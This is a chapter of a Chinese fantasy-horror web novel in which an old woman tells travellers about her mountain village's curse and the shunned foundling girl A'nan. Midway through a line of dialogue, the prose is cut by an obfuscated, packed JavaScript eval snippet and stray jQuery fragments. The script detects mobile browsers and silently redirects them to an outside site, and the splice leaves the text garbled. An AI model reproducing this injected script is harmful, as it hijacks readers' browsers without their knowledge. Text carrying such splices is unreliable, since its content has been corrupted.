夜岭的山路在月光下泛着青白色，像一条僵死的巨蛇匍匐在山脊。雾气从谷底升腾，缠绕着枯木的枝桠，风过时发出呜咽般的声响。


    老妪的脚步踉跄，手里提着的灯笼早已熄灭，只余竹骨在黑暗中摇晃。她嘴唇干裂，眼中布满血丝，口中不住喃喃：“阿囡……阿囡……”


    鞋底踩碎了一截枯枝。


    她脚下一滑，整个人向前扑去，灯笼脱手飞出，滚进路旁的荆棘丛。老妪连惊叫都来不及，顺着陡峭的山坡翻滚而下。碎石划破脸颊，枯枝扯烂衣衫，她在天旋地转中只看见头顶那轮惨白的月亮，一晃，一晃。


    然后一切都停了。


    后背撞上什么坚硬的东西，剧痛让她眼前发黑。老妪艰难地抬起头，发现自己落在半山腰一处稍平的石台上。她撑着身子想爬起来，手掌按在湿滑的苔藓上，又滑了一跤。


    就是这时，她看见了。


    石台边缘，站着一个人。


    白衣在夜风中微微飘动，那人背对着她，仰头望着月亮。身形修长，长发未束，瀑布般垂至腰际。月光太亮，亮得那白衣仿佛在发光，亮得老妪几乎要眯起眼睛。


    “谁……”她嘶哑地开口，声音像破旧的风箱。


    那人缓缓转过身。


    老妪的呼吸停了。


    那张脸——她找不到词形容。不是英俊，也不是丑陋，而是一种非人的、近乎完美的空洞。皮肤白得像从未见过阳光，眉眼淡得仿佛水墨画里最轻的一笔，嘴唇却红得诡异，像刚刚饮过血。


    最可怕的是眼睛。


    没有瞳孔。


    或者说，整个眼眶里是一片银白，细看时，那银白中似乎有星河流转，有云絮翻涌。那不是人类的眼睛，那是将整片夜空装进眼眶里的怪物。


    “啊——！！！”


    老妪的尖叫划破夜色。她手脚并用地向后爬，指甲在石面上刮出刺耳的声音。她想逃，身体却不听使唤，只能眼睁睁看着那白衣人向她走来。


    一步，两步。


    没有脚步声。


    白衣人在她面前停下，弯腰，伸手。


    那只手也白得惊人，指节修长，指甲修剪得整齐干净。它悬在半空，似乎想触碰老妪的脸颊，却又停在咫尺之处。


    老妪瞪大眼睛，喉咙里发出咯咯的声响。然后眼前一黑，彻底失去了意识。


    白衣人收回手，直起身。银白的眼眸望向北方——那是九如一行人所在的方向。风吹起他的衣袂，他像一缕随时会散去的烟雾，静立片刻，然后转身，踏入更深的夜色。


    消失得无声无息。


    次日清晨，篝火已经熄灭，只余几缕青烟袅袅。


    九如坐在芒种身边，小心翼翼地将她右眼上昨日的旧绷带解开。布条黏连在伤口上，他动作极轻，一点一点地剥离，额角渗出细密的汗珠。


    芒种一动不动地坐着。她左眼低垂，看着自己的膝盖，右手紧紧攥着衣角，指节发白。当最后一块黏连的布条被取下时，她身体几不可察地颤了一下。


    伤口暴露在晨光中。


    右眼眶是一个空洞，边缘的皮肉红肿未消，有些地方结了薄薄的血痂。白砚用冰咒清理过，又敷了药，但失去的眼球无法再生，那个空洞像一道永恒的烙印，刻在她十四岁的脸上。


    九如的喉结滚动了一下。他从怀中取出一块布料——那是他从自己贴身的里衣上撕下的。布料是月白色，质地柔软，隐约可见细密的云纹暗绣。若仔细看，那些云纹并非绣线，而是布料织成时天然形成的纹路，在光线下泛着极淡的流光。


    他将布料撕成整齐的长条，浸入温水中，拧干，然后开始为芒种重新包扎。


    “你放心。”九如开口，声音低而稳，“我一定会想办法治好你的眼睛。”


    他说的不是“治伤”，是“治好你的眼睛”。一字之差，天壤之别。


    芒种依旧沉默。她抬起左手，轻轻扶住正在缠绕的云锦绷带。指尖触碰到布料时，她忽然顿了顿——那布料温润得不似凡品，触感像浸了月光的流水。


    “我要是没看错，”烈风煌靠在不远处的树干上，抱着胳膊，眼神锐利如刀，“这是护身云锦。”


    九如的手没有停，继续缠绕绷带。


    “传说中产自西天佛国，以九色云霞织就，经三百高僧诵经加持，能隔绝一切邪念怨气，是佛门用来镇压万恶之源的宝物。”烈风煌一字一顿，“先不说你怎么得到的——这种不该存于世的东西，出现在你手里已是蹊跷。你就这么给她用了？”


    她顿了顿，声音陡然转冷：


    “是太高看自己的能耐，觉得能护住她？还是……根本就是要害死她？”


    最后一句话像冰锥，刺进清晨的空气。


    九如终于停下了动作。他打好绷带的结，将芒种额前的碎发轻轻拨到耳后，这才转过身，看向烈风煌。


    “你都说了是传说。”他的声音平静无波，“传说自然有夸张之处。这不过是块能吸纳灵力的布料而已，没什么特别。”


    “吸纳灵力？”烈风煌嗤笑，“九如，你当我三岁小孩？普通的布料能吸纳灵力？那你身上这件里衣岂非是件法器？你一路穿着法器里衣，却告诉我们你只是个寻常剑客？”


    九如没有回答这个问题。他弯腰，将水囊和药瓶收进行囊，动作从容得像是在收拾野炊的餐具。


    “白砚呢？”他换了个话题。


    “一大早就出去了，说是找吃的。”烈风煌也不再追问，只是眼神里的审视丝毫未减，“你那小兄弟神神秘秘的，魂咒都蔓延到脖子了，还有心思觅食。”


    正说着，林间传来脚步声。


    白砚从晨雾中走出，背上背着个人。他脚步很稳，但脸色比昨日更苍白，额角有细密的冷汗。魂咒的紫色纹路已经爬到了下颌线，像某种寄生的藤蔓，正缓缓蚕食他的生命。


    而他背上的，是个老妪。


    衣衫褴褛，头发花白散乱，脸上有新鲜的擦伤和污泥。正是昨夜在夜岭山路上滚落的那位。


    九如立刻上前帮忙，两人小心翼翼地将老妪平放在篝火旁铺开的毯子上。老妪双目紧闭，呼吸微弱，嘴唇干裂得起了皮。


    “我在北面山崖下发现的。”白砚喘了口气，从怀中掏出水囊，“倒在乱石堆里，差点没看见。周围有翻滚的痕迹，应该是从上面摔下来的。”


    九如接过水囊，蹲下身，掰开老妪的嘴，小心地滴入清水。老妪无意识地吞咽，喉咙里发出轻微的响声。他又从行囊中取出一枚淡青色的丹药，捏碎，混着水喂她服下。


    “清心丹，”九如解释，“能安神定魄，对惊吓过度有奇效。”


    烈风煌抱臂旁观：“这荒山野岭的，突然冒出个老太太。你觉得是巧合？”


    “是不是巧合，等她醒了问问便知。”九如头也不抬。


    约莫一刻钟后，老妪的眼皮动了动。


    她缓缓睁开眼，眼神起初涣散，渐渐聚焦。当看清围在身边的几张陌生面孔时，她猛地睁大眼睛，喉咙里发出惊恐的呜咽，挣扎着想坐起来。


    “别怕，老人家。”九如按住她的肩膀，声音尽量放柔，“我们不是坏人。你从山崖上摔下来了，是我们救了你。”


    老妪的呼吸急促，浑浊的眼睛在四人脸上来回扫视。当看到芒种脸上缠着的云锦绷带时，她顿了顿，眼神里闪过一丝复杂的情绪——像是怜悯，又像是某种更深沉的共鸣。


    “你们……”她开口，声音沙哑得像砂纸摩擦，“你们不是山里人。”


    “我们路过。”九如说，“要去北边的无名火山。老人家，你怎么会一个人半夜在山里？”


    老妪沉默了很久。她看着篝火残余的青烟，看着晨光穿过林叶投下的光斑，眼神渐渐飘远，像是回到了某个遥远的地方。


    “我……”她终于开口，每个字都说得很慢，“我从山顶楼村来。”


    山顶楼村。


    这个名字在接下来的一个时辰里，随着老妪断断续续的叙述，逐渐显露出它诡异的轮廓。


    那是一个坐落在夜岭最高处的村落，三面环崖，只有一条险峻的山路与外界相通。村里人世代居住于此，几乎不与外界往来，粮食自给自足，婚配也只在村内进行，形成了一个封闭的、自成一体的生态。


    但这样的封闭，往往伴随着代价。


    “我们村里……有个传承百年的诅咒。”老妪说这句话时，声音在颤抖。


    每隔九年，村里必定会死一个人。


    死因各不相同——有失足坠崖，有急病暴毙，有意外失火，也有衰老而终。但诡异的是，每当有一个人死去，同年内，村里必定会有一个婴孩出生。


    不多不少，一死一生。


    “就像……就像有什么东西在维持平衡。”老妪的眼睛望着虚空，“村里的人口，九十八口，一百年来从没变过。死一个，生一个，永远是九十八口。”


    烈风煌皱眉：“九年一次？这么规律？”


    “规律得可怕。”老妪喃喃，“小时候，我爷爷告诉我，他爷爷那辈就是这样。村里的老人甚至能推算出下一次‘轮换’的时间。九年之期一到，全村都会提心吊胆，不知道这次会轮到谁死，又会轮到谁家添丁。”


    这种诡异的平衡持续了百年，直到十五年前，被打破了。


    打破它的，是一个女婴。


    “那年冬天，雪下得特别大。”老妪的眼神柔和了一瞬，“我在村口的老槐树下捡到她。裹着破旧的襁褓，小脸冻得发紫，哭都哭不出声了。”


    她把女婴抱回家，取名“阿囡”。


    按照村规，外来者不得入村，但那年正好是九年之期的最后一年，村里刚死了一位老人。老妪跪在祠堂前三天三夜，求族长破例。最终，或许是怜悯，或许是觉得多一个孩子也无妨，族长点头了。


    阿囡就这样留了下来。


    一开始，一切如常。九年之期到了，村里人都屏息等待。然而——


    没有人死。


    也没有婴儿出生。


    “大家都很不安。”老妪说，“但时间一天天过去，确实没人去世。慢慢地，有人开始说，阿囡是上天赐给村子的福星，她打破了诅咒。”


    这说法很快得到了印证。


    阿囡聪明得不像个孩子。三岁能识字，五岁能算账，七岁那年，她看着田里枯黄的稻穗，说了几句话。村里人半信半疑地照做——调整灌溉的时辰，更换施肥的配方，改变插秧的间距。


    那年秋天，粮食产量翻了一倍。


    “从那时起，村里人真的把她当神童供奉。”老妪的声音低了下去，“祠堂里给她立了长生牌，每家有好吃好喝的都先送到我这儿来。阿囡成了全村的希望。”


    希望持续了三年。


    三年里，村里依然没有人死去，也依然没有新生儿降临。起初大家觉得这是恩赐——不用面对死亡的恐惧，多好。但渐渐地，不安开始滋生。


    “有一天，村里的李木匠说了一句话。”老妪闭上眼睛，像是要压下翻涌的情绪，“他说：‘咱们村，好像一潭死水了。’”


    一潭死水。


    这个词像瘟疫一样在村里蔓延。


    是啊，没有死亡，也没有新生。老人不会老去，孩子不会长大——不，孩子会长大，但只有阿囡在长大。其他孩子，那些在阿囡来之前出生的孩子，他们的生长似乎变得极其缓慢，三年过去了，模样几乎没变。


    而大人呢？大人也不会变老。皱纹没有加深，白发没有增多，时间仿佛在村子里停下了脚步。


    除了阿囡。


    她在长大，一年一个样，从女童长成少女，身高抽条，眉眼舒展。站在一群仿佛被时间冻结的村民中间，她像个异类。


    “为什么只有你不一样？”


    “为什么你会长大？”


    这些问题起初是好奇，后来变成疑惑，最后化为恐惧。


    恐惧催生了排斥。


    阿囡开始被孤立。孩子们不和她玩，大人们看她的眼神带着戒备。曾经送到她家的好吃好喝渐渐少了，祠堂里的长生牌蒙上了灰尘。


    “我能感觉到阿囡的变化。”老妪的声音哽咽了，“她变得沉默，常常一个人坐在门槛上，望着山外，一看就是一整天。我问她在想什么，她摇摇头，什么也不说。”


    然后有一天，阿囡突然“傻”了。


    “是真的傻了。”老妪的眼泪流下来，“早上起来，她不会穿衣服了。吃饭时，她把饭碗扣在头上。叫她名字，她没有反应。连最基本的……最基本的如厕都不会了，我要像照顾婴儿一样照顾她。”


    村里炸开了锅。


    有人说阿囡是装傻，有人说她被山鬼附身，更多人认为，这是诅咒的反噬——她打破了九年的平衡，现在报应来了。


    “有人提议，把阿囡送出村试试。”老妪抹了把脸，“他们说，既然怪象是从她进村开始的，那把她送走，也许一切就能恢复正常。”


    这个提议遭到了老妪的拼死反对。她在村里住了七十年，人缘不差，一开始还有人帮她说话。但时间一天天过去，村里依然没有新生儿，而阿囡的“痴傻”越来越严重，她开始攻击靠近的人——不是有意的攻击，更像是受惊动物的本能反应。


    “最后，连帮我说话的人也熬不住了。”老妪的声音空洞，“又是一年过去，村里仍然没任何变化，只有阿囡……她又长大了一点。”


    十四岁的阿囡，身形已经是个少女，智力却退化到婴孩水平。这种反差让村民更加恐惧。


    妥协的方案是：不送走阿囡，但也不能让她继续住在村里。


    “他们在山脚给她搭了个茅草屋。”老妪说，“离村子三里远，每天定时有人送饭。从阿囡离开村子的那一天起……”


    她顿了顿，深吸一口气：


    “村里就有新生儿了。”


    听到这里，九如的眉头蹙起：“新生儿？”


    “对。”老妪点头，眼神却毫无喜色，“第一户是张猎户家，生了个大胖小子，全村庆祝了三天。大家都说，诅咒终于解除了，平衡回来了。”


    但庆祝的余温还未散尽，婴儿就死了。


    “刚满月那天，突然没气了。”老妪的声音在发抖，“大夫查不出原因，就像……就像睡着了一样，再也没醒来。”


    这还只是开始。


    之后几个月，村里陆续又有三个婴儿出生。无一例外，都在满月前后夭折。


    “而山脚下的阿囡……”老妪闭上眼睛，“她渐渐不只是在痴傻了。她开始失聪，听不见声音。视力也在衰退，看东西模糊。送饭的人靠近时，她会突然扑上去撕咬，像野兽一样。有一次差点咬断了王二的手。”


    恐惧达到了顶峰。


    村民们在祠堂里开了三天三夜的会，最后一致决定：必须把阿囡送走，送到远离夜岭的地方，永远不许回来。


    “这次，没人再帮我说话了。”老妪苦笑，“我自己也知道，阿囡不能再留在山里了。她在这里，只会继续受苦，继续被当成怪物。”


    所以昨夜，她偷偷下山，想找到阿囡，带她离开夜岭，去一个没人认识的地方重新开始。却在山路上遇到那白衣人，惊吓过度，滚落山崖。


    “然后，就遇到了你们。”老妪说完，长长地吐出一口气，仿佛卸下了千斤重担。


    篝火早已完全熄灭，晨光彻底占领了林间空地。鸟鸣声从四面八方传来，显得这个故事更加诡异不真实。


    九如沉默了很久。


    他看向白砚，白砚脸色凝重；看向烈风煌，烈风煌嘴角挂着讥诮的弧度；最后，他看向芒种。


    芒种一直安静地听着，左眼低垂，手指无意识地摩挲着右眼上的云锦绷带。当老妪说到阿囡被孤立、被恐惧、被驱逐时，她的手指收紧，绷带边缘被捏出了褶皱。


    “老人家，”九如终于开口，“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128786|195842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你说的山脚茅草屋，具体在什么位置？”


    老妪的眼睛亮了一瞬：“你们……愿意帮我找阿囡？”


    “我们正好要经过那一带。”九如说，“可以顺路帮你看看。如果阿囡还在，我们可以带她下山。”


    “在的，一定在的。”老妪激动地想坐起来，“我昨天下山前，还听送饭的人说她在。就在夜岭南麓，黑松林边上，很容易找——”


    “我不去。”


    一个声音打断了她。


    很轻，很哑。


    所有人都愣住了，转头看向声音的来源。


    芒种抬起头，左眼直视着老妪。她的脸上没有表情，但那只完好的眼睛里，燃烧着某种冰冷的、近乎愤怒的东西。


    “芒种？”九如轻声唤她。


    芒种没有看他，依旧盯着老妪。她一字一顿，声音清晰而坚定：


    “她不属于这里，为什么要回来？”


    老妪怔住了。


    芒种站起来。十四岁的少女身形单薄，右眼缠着云锦绷带，左眼里却有一种超越年龄的决绝。


    “你们村里的人，”她继续说，每个字都像冰珠子砸在地上，“在她有用的时候捧着她，在她带来‘麻烦’的时候赶走她。现在发现赶走她也没用，又想把她找回来——找回来之后呢？继续关在山脚的茅草屋里？还是找个更远的地方扔掉？”


    “不是的，我——”老妪想辩解。


    “你爱她吗？”芒种突然问。


    老妪张了张嘴，没说出话。


    “如果你真的爱她，”芒种的声音低了下去，带着一丝不易察觉的颤抖，“当初就不会同意把她送到山脚。你会带她一起离开，去哪都好，而不是让她一个人，在茅草屋里慢慢变成怪物。”


    她转过身，背对着所有人。


    云锦绷带在晨光中泛着淡淡的光泽，像一道沉默的伤口。


    “我不会帮忙。”芒种最后说，“那个阿囡……她最好永远别回来。回来了，也只是再被伤害一次。”


    林间陷入死寂。


    老妪的嘴唇颤抖着，眼泪无声地流下来。她想说什么，却发不出声音。


    九如看着芒种的背影，心中涌起复杂的情绪。


    他忽然明白，芒种说的，也许是对的。


    阿囡的悲剧，不是一个人、一个村的悲剧。那是所有“异类”的命运——当你与大多数人不同时，赞美与供奉可以在一夜之间变成恐惧与驱逐。桃花村的祭坛，石中村的石磨，山顶楼村的茅草屋，本质上并无区别。


    烈风煌忽然笑了。


    不是冷笑，是一种带着讥讽的了然。


    “小丫头，”她说，“你倒是看得通透。”


    白砚始终沉默。他靠在一棵树上，闭着眼睛，魂咒的紫纹在脖颈处缓缓蠕动。但九如注意到，他的手指微微蜷缩，像是在压抑什么。


    许久，九如叹了口气。


    “老人家，”他转向老妪，声音温和但坚定，“你的故事我们听到了。阿囡的下落，我们会留意的。但现在，我们有自己的路要走。”


    他顿了顿：“如果你愿意，可以跟我们一起下山。到了山脚镇子，你可以重新开始。”


    老妪呆呆地看着他，又看看芒种的背影，最终，缓缓摇头。


    “不……”她喃喃，“我要去找阿囡。就算……就算她不原谅我，我也要找到她。是我对不起她……”


    她挣扎着站起来，踉跄着就要往林外走。


    九如没有拦她。


    老妪的背影消失在树林深处，晨雾重新聚拢，将她的身影吞没。


    篝火旁又只剩下四人。


    芒种依旧背对着所有人，肩膀微微颤抖。九如走到她身边，想拍拍她的肩，手伸到一半，又收了回来。


    “芒种，”他轻声说，“你刚才的话……”


    “我说错了吗？”芒种打断他，声音带着鼻音。


    九如沉默。


    “如果阿囡真的回来，会发生什么？”芒种转过身，左眼通红，却没有眼泪，“村里那些婴儿还是会死，村民还是会恐惧。最后他们会做什么？像石中村那样，把她绑上石磨？还是像桃花村那样，把她献祭给山神？”


    她深吸一口气：


    “有时候，离开才是最好的选择。离开伤害你的人，离开困住你的地方。永远……永远不要回头。”


    说完，她转身走向收拾好的行囊，背起来，看向北方。


    “走吧。”她说，“不是要去无名火山吗？”


    九如和白砚对视一眼，默默跟上。烈风煌最后看了一眼老妪消失的方向，嗤笑一声，也迈开了脚步。


    四人重新上路。


    晨雾渐渐散去，阳光穿过林叶，在地面投下斑驳的光影。芒种走在最前，脚步坚定，右眼的云锦绷带在光线下流转着温润的光泽。


    九如看着她瘦削的背影，想起在桃花村初遇时，那个缩在祭坛上瑟瑟发抖的小姑娘。那时的芒种眼里有恐惧，但也有光。


    现在，光少了一半。


    但剩下的那一半，却淬炼出了某种坚硬的东西。


    山路蜿蜒向上，穿过一片黑松林时，九如忽然停下了脚步。


    松林边缘，确实有一座茅草屋。


    很小，很破，屋顶的茅草被风雨侵蚀得稀疏，墙壁是用树枝和泥巴胡乱糊成的。屋门虚掩着，门前放着个破碗，碗里有些发霉的饭粒。


    茅草屋周围，散落着一些东西——扯烂的布条，打碎的陶片，还有几缕深色的、像是血迹的污渍。


    九如看向芒种。


    芒种也看着那座茅草屋。她的左眼里没有任何情绪，像在看一块石头，一棵树，一个与己无关的存在。


    然后，她移开目光，继续向前走。


    “不看看吗？”烈风煌挑眉。


    “看了又能怎样？”芒种头也不回，“里面要么是空的，要么是个怪物。无论哪种，都与我无关。”


    白砚忽然开口：“有人来过。”


    他指向茅草屋旁的地面——那里有几个新鲜的脚印，不大，像是女子的。脚印旁边，还有另一组脚印，很大，很深，是成年男子的。


    两组脚印纠缠在一起，延伸到茅草屋门口，然后……


    戛然而止。


    像是其中一个人突然消失了。


    九如的眉头蹙起。他走到茅草屋前，推开虚掩的木门。


    里面空无一人。


    只有一张破草席，一床发霉的薄被，墙角堆着些干草。空气中弥漫着霉味和某种淡淡的、甜腻的腥气。


    但在草席中央，放着一件东西。


    一件白色的、质地柔软的襁褓。


    很旧了，边缘已经磨损，但洗得很干净，叠得整整齐齐。


    九如拿起襁褓，发现下面压着一张纸。纸上用炭笔歪歪扭扭地写着几个字：


    “阿囡走了。别找。”


    字迹稚嫩，像是孩子的笔迹，但笔画间有种诡异的力道，几乎要划破纸张。


    九如盯着那张纸看了很久，然后收进怀里。


    他退出茅草屋，关上门，转身追上队伍。


    “里面有什么？”烈风煌问。


    “没什么。”九如说，“空的。”


    芒种看了他一眼，没说话。


    四人继续向北。


    走出黑松林时，九如回头看了一眼。


    那座破败的茅草屋在晨光中静立，像一个沉默的墓碑，埋葬着一个少女从神童到怪物、从被供奉到被驱逐的十四年。


    而在茅草屋的屋顶上，不知何时，站着一只乌鸦。


    通体漆黑，唯有眼睛是血红色的。


    它歪着头，看着四人远去的背影，忽然张开嘴，发出一声嘶哑的啼叫。


    那叫声不像鸟鸣，倒像……


    一声轻笑。


    九如猛地回头。


    乌鸦扑棱着翅膀飞走了，消失在林间。